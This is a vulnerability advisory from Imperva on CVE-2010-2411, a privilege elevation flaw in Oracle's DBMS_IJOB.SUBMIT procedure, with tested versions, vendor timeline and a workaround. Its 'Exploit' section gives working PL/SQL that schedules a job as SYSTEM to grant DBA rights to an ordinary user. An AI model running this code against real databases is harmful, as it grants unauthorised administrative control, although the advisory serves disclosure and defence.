CVE-2010-2411: Oracle SYS.DBMS_IJOB – Privilege Elevation Vulnerability (SUBMIT)

Background

Oracle is a widely deployed DBMS that contains various built-in packages. DBMS_JOB is a package that allows a user to submit asynchronous jobs to a batch system. The procedure SUBMIT is used for submission of jobs to the database job queue. Once a job is submitted, it will be scheduled for execution according to the specified start date, where the job will be executed with the security privileges of the submitter. DBMS_IJOB is a package used internally by DBMS_JOB to implement some of its functionality. This package contains a SUBMIT procedure of its own.

Scope

Imperva's Application Defense Center is conducting an extensive research of the Oracle DBMS and Oracle packages. As part of the research the team has identified privilege elevation vulnerability in the DBMS_IJOB package.

Findings

An attacker can use the DBMS_IJOB.SUBMIT procedure to submit a new job that is owned by a higher privileged database user. Thus an attacker can effectively execute arbitrary PL/SQL code with the security content of that user.

Details

The DBMS_IJOB.SUBMIT accepts as parameters, among other things: a job number, the PL/SQL code to execute and few arguments that specifies who the owner of the job is and which database user privileges to use. Once submitted, the PL/SQL code will be executed with security privileges of the given database user.

Exploit

This example submits a job with job number 100 that will be executed with priveleges of the SYSTEM database user. The code executed will grant a standard user with DBA privileges:

```
BEGIN
       sys.dbms_ijob.submit(100, 'SYSTEM', 'SYSTEM', 'SYSTEM', sysdate+1/(24*60),
       'sysdate+1',FALSE, 'EXECUTE IMMEDIATE (''GRANT DBA TO SCOTT'');',
       'NLS_LANGUAGE=''AMERICAN'' NLS_TERRITORY=''AMERICA'' NLS_CURRENCY=''$''
       NLS_ISO_CURRENCY=''AMERICA'' NLS_NUMERIC_CHARACTERS=''.,'' NLS_DATE_FORMAT=''DD-MON-RR''
       NLS_DATE_LANGUAGE=''AMERICAN'' NLS_SORT=''BINARY'''', '0102000002000000');
END
```

Tested Versions

Vulnerable

Oracle Database 10.2.0.3 (January 2009 patch)

Oracle Database 11.1.0.6 (July 2008 patch)

Not Vulnerable

Vendor's Status

Vendor notified on Jan-20-09.

Vendor patch released on Oct-12-10

Workaround

Disable access to the DBMS_IJOB package.

Discovered By

Yaniv Azaria of Imperva's ADC